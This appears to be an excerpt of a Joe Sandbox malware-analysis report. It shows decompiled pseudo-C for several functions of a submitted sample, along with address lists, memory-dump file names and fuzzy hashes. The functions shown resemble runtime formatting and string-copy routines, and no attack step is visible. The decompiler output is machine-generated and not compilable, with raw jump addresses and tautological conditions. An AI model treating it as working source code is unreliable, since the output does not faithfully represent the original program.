				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, _t132,  *_t127, __rbp, _t150);
				goto 0xda8e0ee8;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0xda8e0e78;
				_t143 =  *_t128;
				goto 0xda8e0d7e;
				goto 0xda8e0d7e;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00007FF77FF7DA8DFD30(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0xda8e0e9f;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t152 != _t152) goto 0xda8e0eb8;
				E00007FF77FF7DA8E199C(_t122, _t122, _t143);
				goto 0xda8e0ebf;
				E00007FF77FF7DA8E1614( *_t128, _t122, _t122, _t143);
				if (0 == 0) goto 0xda8e0ee6;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0xda8e0ed8;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0xda8e0ee6;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}





















                                                                                                                              0x7ff7da8e0d00
                                                                                                                              0x7ff7da8e0d03
                                                                                                                              0x7ff7da8e0d07
                                                                                                                              0x7ff7da8e0d0b
                                                                                                                              0x7ff7da8e0d0f
                                                                                                                              0x7ff7da8e0d13
                                                                                                                              0x7ff7da8e0d19
                                                                                                                              0x7ff7da8e0d1d
                                                                                                                              0x7ff7da8e0d20
                                                                                                                              0x7ff7da8e0d23
                                                                                                                              0x7ff7da8e0d29
                                                                                                                              0x7ff7da8e0d2d
                                                                                                                              0x7ff7da8e0d33
                                                                                                                              0x7ff7da8e0d35
                                                                                                                              0x7ff7da8e0d38
                                                                                                                              0x7ff7da8e0d3e
                                                                                                                              0x7ff7da8e0d42
                                                                                                                              0x7ff7da8e0d48
                                                                                                                              0x7ff7da8e0d4c
                                                                                                                              0x7ff7da8e0d4e
                                                                                                                              0x7ff7da8e0d52
                                                                                                                              0x7ff7da8e0d5c
                                                                                                                              0x7ff7da8e0d62
                                                                                                                              0x7ff7da8e0d68
                                                                                                                              0x7ff7da8e0d77
                                                                                                                              0x7ff7da8e0d85
                                                                                                                              0x7ff7da8e0d8a
                                                                                                                              0x7ff7da8e0d92
                                                                                                                              0x7ff7da8e0d99
                                                                                                                              0x7ff7da8e0d9f
                                                                                                                              0x7ff7da8e0da6
                                                                                                                              0x7ff7da8e0db3
                                                                                                                              0x7ff7da8e0dc2
                                                                                                                              0x7ff7da8e0dc6
                                                                                                                              0x7ff7da8e0dcc
                                                                                                                              0x7ff7da8e0dd1
                                                                                                                              0x7ff7da8e0ddb
                                                                                                                              0x7ff7da8e0de4
                                                                                                                              0x7ff7da8e0deb
                                                                                                                              0x7ff7da8e0def
                                                                                                                              0x7ff7da8e0df5
                                                                                                                              0x7ff7da8e0dfa
                                                                                                                              0x7ff7da8e0dfc
                                                                                                                              0x7ff7da8e0e00
                                                                                                                              0x7ff7da8e0e06
                                                                                                                              0x7ff7da8e0e0a
                                                                                                                              0x7ff7da8e0e10
                                                                                                                              0x7ff7da8e0e14
                                                                                                                              0x7ff7da8e0e1a
                                                                                                                              0x7ff7da8e0e1f
                                                                                                                              0x7ff7da8e0e23
                                                                                                                              0x7ff7da8e0e26
                                                                                                                              0x7ff7da8e0e2b
                                                                                                                              0x7ff7da8e0e2f
                                                                                                                              0x7ff7da8e0e3c
                                                                                                                              0x7ff7da8e0e41
                                                                                                                              0x7ff7da8e0e47
                                                                                                                              0x7ff7da8e0e4e
                                                                                                                              0x7ff7da8e0e5b
                                                                                                                              0x7ff7da8e0e6a
                                                                                                                              0x7ff7da8e0e6e
                                                                                                                              0x7ff7da8e0e70
                                                                                                                              0x7ff7da8e0e73
                                                                                                                              0x7ff7da8e0e7a
                                                                                                                              0x7ff7da8e0e8a
                                                                                                                              0x7ff7da8e0e91
                                                                                                                              0x7ff7da8e0e99
                                                                                                                              0x7ff7da8e0e9b
                                                                                                                              0x7ff7da8e0e9f
                                                                                                                              0x7ff7da8e0ea3
                                                                                                                              0x7ff7da8e0eac
                                                                                                                              0x7ff7da8e0eb1
                                                                                                                              0x7ff7da8e0eb6
                                                                                                                              0x7ff7da8e0eba
                                                                                                                              0x7ff7da8e0ec7
                                                                                                                              0x7ff7da8e0ecd
                                                                                                                              0x7ff7da8e0ed6
                                                                                                                              0x7ff7da8e0ed8
                                                                                                                              0x7ff7da8e0ee0
                                                                                                                              0x7ff7da8e0ee3
                                                                                                                              0x7ff7da8e0f02

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
                                                                                                                              • Instruction ID: 41614fd290c6c542cdae1b11de86b0c94b50af06cf9b53695efb07908f6f0c7e
                                                                                                                              • Opcode Fuzzy Hash: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
                                                                                                                              • Instruction Fuzzy Hash: 97518332A58692C5F7269B28D04022C67B0FB68B58FE44572CE4C5779ACB3FE962C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E08F0 Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 70%
                                                                                                                              			E00007FF77FF7DA8E08F0(void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				void* _t132;
				intOrPtr _t143;
				void* _t147;
				void* _t150;
				void* _t152;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t152);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0xda8e09ec;
				if (_t97 == 0) goto 0xda8e0952;
				_t98 = r8d;
				if (_t98 == 0) goto 0xda8e0a43;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e09c3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e099b;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e0a43;
				if (r8d != 1) goto 0xda8e0a0f;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0985;
				if ( *_t125 >= 0) goto 0xda8e0985;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xda8e0a6f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xda8e0a86;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xda8e09be;
				goto 0xda8e096e;
				goto 0xda8e096e;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0xda8e09e7;
				goto 0xda8e096e;
				goto 0xda8e096e;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0xda8e0952;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0xda8e0952;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0xda8e0952;
				goto 0xda8e093e;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, _t132,  *_t127, __rbp, _t150);
				goto 0xda8e0ad8;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0xda8e0a68;
				_t143 =  *_t128;
				goto 0xda8e096e;
				goto 0xda8e096e;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00007FF77FF7DA8DFD30(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0xda8e0a8f;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t152 != _t152) goto 0xda8e0aa8;
				E00007FF77FF7DA8E18A4( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0xda8e0aaf;
				E00007FF77FF7DA8E1520( *_t128, _t122);
				if (0 == 0) goto 0xda8e0ad6;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0xda8e0ac8;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0xda8e0ad6;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}





















                                                                                                                              0x7ff7da8e08f0
                                                                                                                              0x7ff7da8e08f3
                                                                                                                              0x7ff7da8e08f7
                                                                                                                              0x7ff7da8e08fb
                                                                                                                              0x7ff7da8e08ff
                                                                                                                              0x7ff7da8e0903
                                                                                                                              0x7ff7da8e0909
                                                                                                                              0x7ff7da8e090d
                                                                                                                              0x7ff7da8e0910
                                                                                                                              0x7ff7da8e0913
                                                                                                                              0x7ff7da8e0919
                                                                                                                              0x7ff7da8e091d
                                                                                                                              0x7ff7da8e0923
                                                                                                                              0x7ff7da8e0925
                                                                                                                              0x7ff7da8e0928
                                                                                                                              0x7ff7da8e092e
                                                                                                                              0x7ff7da8e0932
                                                                                                                              0x7ff7da8e0938
                                                                                                                              0x7ff7da8e093c
                                                                                                                              0x7ff7da8e093e
                                                                                                                              0x7ff7da8e0942
                                                                                                                              0x7ff7da8e094c
                                                                                                                              0x7ff7da8e0952
                                                                                                                              0x7ff7da8e0958
                                                                                                                              0x7ff7da8e0967
                                                                                                                              0x7ff7da8e0975
                                                                                                                              0x7ff7da8e097a
                                                                                                                              0x7ff7da8e0982
                                                                                                                              0x7ff7da8e0989
                                                                                                                              0x7ff7da8e098f
                                                                                                                              0x7ff7da8e0996
                                                                                                                              0x7ff7da8e09a3
                                                                                                                              0x7ff7da8e09b2
                                                                                                                              0x7ff7da8e09b6
                                                                                                                              0x7ff7da8e09bc
                                                                                                                              0x7ff7da8e09c1
                                                                                                                              0x7ff7da8e09cb
                                                                                                                              0x7ff7da8e09d4
                                                                                                                              0x7ff7da8e09db
                                                                                                                              0x7ff7da8e09df
                                                                                                                              0x7ff7da8e09e5
                                                                                                                              0x7ff7da8e09ea
                                                                                                                              0x7ff7da8e09ec
                                                                                                                              0x7ff7da8e09f0
                                                                                                                              0x7ff7da8e09f6
                                                                                                                              0x7ff7da8e09fa
                                                                                                                              0x7ff7da8e0a00
                                                                                                                              0x7ff7da8e0a04
                                                                                                                              0x7ff7da8e0a0a
                                                                                                                              0x7ff7da8e0a0f
                                                                                                                              0x7ff7da8e0a13
                                                                                                                              0x7ff7da8e0a16
                                                                                                                              0x7ff7da8e0a1b
                                                                                                                              0x7ff7da8e0a1f
                                                                                                                              0x7ff7da8e0a2c
                                                                                                                              0x7ff7da8e0a31
                                                                                                                              0x7ff7da8e0a37
                                                                                                                              0x7ff7da8e0a3e
                                                                                                                              0x7ff7da8e0a4b
                                                                                                                              0x7ff7da8e0a5a
                                                                                                                              0x7ff7da8e0a5e
                                                                                                                              0x7ff7da8e0a60
                                                                                                                              0x7ff7da8e0a63
                                                                                                                              0x7ff7da8e0a6a
                                                                                                                              0x7ff7da8e0a7a
                                                                                                                              0x7ff7da8e0a81
                                                                                                                              0x7ff7da8e0a89
                                                                                                                              0x7ff7da8e0a8b
                                                                                                                              0x7ff7da8e0a8f
                                                                                                                              0x7ff7da8e0a93
                                                                                                                              0x7ff7da8e0a9c
                                                                                                                              0x7ff7da8e0aa1
                                                                                                                              0x7ff7da8e0aa6
                                                                                                                              0x7ff7da8e0aaa
                                                                                                                              0x7ff7da8e0ab7
                                                                                                                              0x7ff7da8e0abd
                                                                                                                              0x7ff7da8e0ac6
                                                                                                                              0x7ff7da8e0ac8
                                                                                                                              0x7ff7da8e0ad0
                                                                                                                              0x7ff7da8e0ad3
                                                                                                                              0x7ff7da8e0af2

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
                                                                                                                              • Instruction ID: a7f9282bea816b56951c2845ae2073e0c108bcbb667bb1334dbcf735ce86d3d3
                                                                                                                              • Opcode Fuzzy Hash: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
                                                                                                                              • Instruction Fuzzy Hash: 3C51B132A58695C5F726AF29D04022CA3B0FB65B58FA44472CE4C17796CB3FED62C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E1110 Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 70%
                                                                                                                              			E00007FF77FF7DA8E1110(void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				void* _t132;
				intOrPtr _t143;
				void* _t147;
				void* _t150;
				void* _t152;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t152);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0xda8e120c;
				if (_t97 == 0) goto 0xda8e1172;
				_t98 = r8d;
				if (_t98 == 0) goto 0xda8e1263;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e11e3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e11bb;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e1263;
				if (r8d != 1) goto 0xda8e122f;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0xda8e11a5;
				if ( *_t125 >= 0) goto 0xda8e11a5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xda8e128f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xda8e12a6;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xda8e11de;
				goto 0xda8e118e;
				goto 0xda8e118e;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0xda8e1207;
				goto 0xda8e118e;
				goto 0xda8e118e;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0xda8e1172;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0xda8e1172;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0xda8e1172;
				goto 0xda8e115e;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, _t132,  *_t127, __rbp, _t150);
				goto 0xda8e12f8;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0xda8e1288;
				_t143 =  *_t128;
				goto 0xda8e118e;
				goto 0xda8e118e;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00007FF77FF7DA8DFD30(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0xda8e12af;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t152 != _t152) goto 0xda8e12c8;
				E00007FF77FF7DA8E1B10( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0xda8e12cf;
				E00007FF77FF7DA8E1780( *_t128, _t122);
				if (0 == 0) goto 0xda8e12f6;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0xda8e12e8;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0xda8e12f6;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}





















                                                                                                                              0x7ff7da8e1110
                                                                                                                              0x7ff7da8e1113
                                                                                                                              0x7ff7da8e1117
                                                                                                                              0x7ff7da8e111b
                                                                                                                              0x7ff7da8e111f
                                                                                                                              0x7ff7da8e1123
                                                                                                                              0x7ff7da8e1129
                                                                                                                              0x7ff7da8e112d
                                                                                                                              0x7ff7da8e1130
                                                                                                                              0x7ff7da8e1133
                                                                                                                              0x7ff7da8e1139
                                                                                                                              0x7ff7da8e113d
                                                                                                                              0x7ff7da8e1143
                                                                                                                              0x7ff7da8e1145
                                                                                                                              0x7ff7da8e1148
                                                                                                                              0x7ff7da8e114e
                                                                                                                              0x7ff7da8e1152
                                                                                                                              0x7ff7da8e1158
                                                                                                                              0x7ff7da8e115c
                                                                                                                              0x7ff7da8e115e
                                                                                                                              0x7ff7da8e1162
                                                                                                                              0x7ff7da8e116c
                                                                                                                              0x7ff7da8e1172
                                                                                                                              0x7ff7da8e1178
                                                                                                                              0x7ff7da8e1187
                                                                                                                              0x7ff7da8e1195
                                                                                                                              0x7ff7da8e119a
                                                                                                                              0x7ff7da8e11a2
                                                                                                                              0x7ff7da8e11a9
                                                                                                                              0x7ff7da8e11af
                                                                                                                              0x7ff7da8e11b6
                                                                                                                              0x7ff7da8e11c3
                                                                                                                              0x7ff7da8e11d2
                                                                                                                              0x7ff7da8e11d6
                                                                                                                              0x7ff7da8e11dc
                                                                                                                              0x7ff7da8e11e1
                                                                                                                              0x7ff7da8e11eb
                                                                                                                              0x7ff7da8e11f4
                                                                                                                              0x7ff7da8e11fb
                                                                                                                              0x7ff7da8e11ff
                                                                                                                              0x7ff7da8e1205
                                                                                                                              0x7ff7da8e120a
                                                                                                                              0x7ff7da8e120c
                                                                                                                              0x7ff7da8e1210
                                                                                                                              0x7ff7da8e1216
                                                                                                                              0x7ff7da8e121a
                                                                                                                              0x7ff7da8e1220
                                                                                                                              0x7ff7da8e1224
                                                                                                                              0x7ff7da8e122a
                                                                                                                              0x7ff7da8e122f
                                                                                                                              0x7ff7da8e1233
                                                                                                                              0x7ff7da8e1236
                                                                                                                              0x7ff7da8e123b
                                                                                                                              0x7ff7da8e123f
                                                                                                                              0x7ff7da8e124c
                                                                                                                              0x7ff7da8e1251
                                                                                                                              0x7ff7da8e1257
                                                                                                                              0x7ff7da8e125e
                                                                                                                              0x7ff7da8e126b
                                                                                                                              0x7ff7da8e127a
                                                                                                                              0x7ff7da8e127e
                                                                                                                              0x7ff7da8e1280
                                                                                                                              0x7ff7da8e1283
                                                                                                                              0x7ff7da8e128a
                                                                                                                              0x7ff7da8e129a
                                                                                                                              0x7ff7da8e12a1
                                                                                                                              0x7ff7da8e12a9
                                                                                                                              0x7ff7da8e12ab
                                                                                                                              0x7ff7da8e12af
                                                                                                                              0x7ff7da8e12b3
                                                                                                                              0x7ff7da8e12bc
                                                                                                                              0x7ff7da8e12c1
                                                                                                                              0x7ff7da8e12c6
                                                                                                                              0x7ff7da8e12ca
                                                                                                                              0x7ff7da8e12d7
                                                                                                                              0x7ff7da8e12dd
                                                                                                                              0x7ff7da8e12e6
                                                                                                                              0x7ff7da8e12e8
                                                                                                                              0x7ff7da8e12f0
                                                                                                                              0x7ff7da8e12f3
                                                                                                                              0x7ff7da8e1312

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
                                                                                                                              • Instruction ID: dddea456c945a9921b9e3d657ea1cf80316410626ced99a4ff121d4bfe162071
                                                                                                                              • Opcode Fuzzy Hash: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
                                                                                                                              • Instruction Fuzzy Hash: 3D51DF32A18651C1F7269B28C44022CA3A1FB75B59FE45172CE8C577D6CB3FEA62C790
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E4EA0 Relevance: .1, Instructions: 138COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8E4EA0(signed int __ecx, signed int __edx, void* __eflags, intOrPtr* __rcx, intOrPtr* __rdx, void* __r8) {
				unsigned int _t13;
				unsigned int _t14;
				char _t15;
				char _t33;
				signed int* _t41;
				void* _t52;

				if (__eflags == 0) goto 0xda8e4f5b;
				if ((__ecx & 0x00000007) == 0) goto 0xda8e4ec0;
				_t13 =  *((intOrPtr*)(__rcx));
				if (_t13 == 0) goto 0xda8e4f36;
				_t41 = __rcx + 1;
				if ((__ecx & 0x00000007) != 0) goto 0xda8e4eb1;
				if ((0x01010100 & ( *_t41 ^ 0xffffffff ^ 0xfefefeff +  *_t41)) == 0) goto 0xda8e4ec0;
				if (_t13 == 0) goto 0xda8e4f36;
				if (_t13 == 0) goto 0xda8e4f36;
				if (_t13 == 0) goto 0xda8e4f36;
				if (_t13 == 0) goto 0xda8e4f36;
				if (_t13 == 0) goto 0xda8e4f36;
				if (_t13 == 0) goto 0xda8e4f36;
				_t14 = _t13 >> 0x10;
				if (_t14 == 0) goto 0xda8e4f36;
				if (_t14 == 0) goto 0xda8e4f36;
				goto 0xda8e4ec0;
				_t52 =  &(_t41[2]) - 8 + 8 - __rdx;
				if ((__edx & 0x00000007) == 0) goto 0xda8e4f68;
				_t15 =  *((intOrPtr*)(__rdx));
				 *((char*)(__rdx + _t52)) = _t15;
				_t33 = _t15;
				if (_t33 == 0) goto 0xda8e4f5b;
				if (_t33 == 0) goto 0xda8e4f56;
				if ((__edx & 0x00000007) != 0) goto 0xda8e4f3e;
				goto 0xda8e4f68;
				 *((char*)(__rdx + 1 + _t52)) = 0;
				return 0;
			}









                                                                                                                              0x7ff7da8e4ea6
                                                                                                                              0x7ff7da8e4eaf
                                                                                                                              0x7ff7da8e4eb1
                                                                                                                              0x7ff7da8e4eb5
                                                                                                                              0x7ff7da8e4eb7
                                                                                                                              0x7ff7da8e4ebd
                                                                                                                              0x7ff7da8e4eeb
                                                                                                                              0x7ff7da8e4ef3
                                                                                                                              0x7ff7da8e4efa
                                                                                                                              0x7ff7da8e4f05
                                                                                                                              0x7ff7da8e4f0c
                                                                                                                              0x7ff7da8e4f17
                                                                                                                              0x7ff7da8e4f1e
                                                                                                                              0x7ff7da8e4f23
                                                                                                                              0x7ff7da8e4f28
                                                                                                                              0x7ff7da8e4f2f
                                                                                                                              0x7ff7da8e4f34
                                                                                                                              0x7ff7da8e4f36
                                                                                                                              0x7ff7da8e4f3c
                                                                                                                              0x7ff7da8e4f3e
                                                                                                                              0x7ff7da8e4f40
                                                                                                                              0x7ff7da8e4f43
                                                                                                                              0x7ff7da8e4f45
                                                                                                                              0x7ff7da8e4f4d
                                                                                                                              0x7ff7da8e4f52
                                                                                                                              0x7ff7da8e4f54
                                                                                                                              0x7ff7da8e4f58
                                                                                                                              0x7ff7da8e4f5e

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
